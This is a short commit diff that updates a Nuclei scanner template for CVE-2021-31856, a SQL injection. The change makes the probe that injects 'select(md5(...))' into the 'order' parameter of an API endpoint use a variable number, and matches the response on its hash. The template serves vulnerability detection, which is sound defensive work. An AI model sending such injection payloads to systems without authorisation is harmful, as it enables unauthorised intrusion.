Update CVE-2021-31856.yaml

cves/2021/CVE-2021-31856.yaml

@@ -18,17 +18,20 @@ info:
     cwe-id: CWE-89
   tags: sqli,cve,cve2021
 
+variables:
+  num: "999999999"
+
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5('nuclei'))&page=0&page_size=0"
+      - "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"
 
     matchers-condition: and
     matchers:
 
       - type: word
         words:
-          - "709b38b27304df6257a86a60df742c4c"
+          - '{{md5({{num}})}}'
         part: body
 
       - type: status